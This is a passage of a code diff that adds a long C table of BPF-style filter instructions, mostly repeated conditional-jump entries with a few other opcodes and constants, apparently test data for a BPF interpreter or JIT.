.jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000056, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000054, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000029, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000057, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000058, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000017, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, 